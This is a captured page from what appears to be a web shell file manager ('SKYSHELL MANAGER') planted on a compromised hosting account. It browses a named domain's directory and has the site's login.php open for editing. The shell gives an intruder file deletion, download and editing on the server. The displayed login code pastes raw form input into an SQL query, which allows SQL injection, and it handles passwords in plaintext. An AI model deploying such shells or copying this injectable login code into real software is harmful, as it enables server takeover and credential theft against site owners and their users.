📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
boot
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📁
css
-
0755
🗑️
🔒
📁
js
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
2427.48 KB
0644
🗑️
⬇️
✏️
🔒
Editing: login.php
<?php include "connect_to_mysqli.php"; if (isset( $_POST['user'])){ $code= $_POST['user']; $password = $_POST['pass']; } $id=""; if ($code == "" || $password == "") { $as= 'Please enter your email and password'; } else { $sql = "SELECT * from admin where user= '".$code."' && password = '".$password."'"; $sql2 = mysqli_query($con,$sql); if (mysqli_affected_rows($con) == 0) { $we ='Incorrect Username or Password '; } else { while($row = mysqli_fetch_array($sql2)) { $id = $row["s"]; $user = $row['user']; $pass = $row['pass']; $status = $row['status']; } if ($status=="Admin") { session_start(); $_SESSION['id']=$id; $_SESSION['user']=$code; $_SESSION['pass']=$password; echo header("location:dashboard.php"); } else if ($status=="cashier") { session_start(); $_SESSION['id']=$id; $_SESSION['user']=$code; $_SESSION['pass']=$password; echo header("location:dasher.php"); } else if ($status=="store") { session_start(); $_SESSION['id']=$id; $_SESSION['user']=$code; $_SESSION['pass']=$password; echo header("location:dashed.php"); } } } ?>
💾 Save Changes